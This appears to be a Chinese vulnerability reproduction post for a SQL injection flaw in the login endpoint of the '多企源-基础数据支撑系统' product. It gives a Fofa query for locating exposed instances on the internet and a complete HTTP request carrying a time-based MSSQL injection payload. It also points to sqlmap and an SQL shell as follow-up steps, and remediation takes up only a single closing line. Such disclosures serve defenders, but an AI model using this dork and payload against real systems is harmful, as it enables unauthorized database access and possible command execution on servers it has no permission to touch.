0x01 漏洞描述:
多企源-基础数据支撑系统由于对用户输入校验不严格,导致存在sql注入漏洞,从而使得系统处于不安全的状态。此外由于该系统大部分使用的数据库为MSSQL,可能将导致命令执行漏洞。
0x02 搜索语句:
Fofa:app="多企源-基础数据支撑系统"
0x03 漏洞复现:
POST /json/checkLogin.action?usercfg.username=1%27;WAITFOR%20DELAY%20%270:0:5%27--&usercfg.password=admin&validateCode=e1Lg&loginType=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: zh-CN
Connection: keep-alive
sqlmap验证
在高权限系统中存在sql shell可自行验证。
0x04 修复建议:
关闭互联网暴露面或接口设置访问权限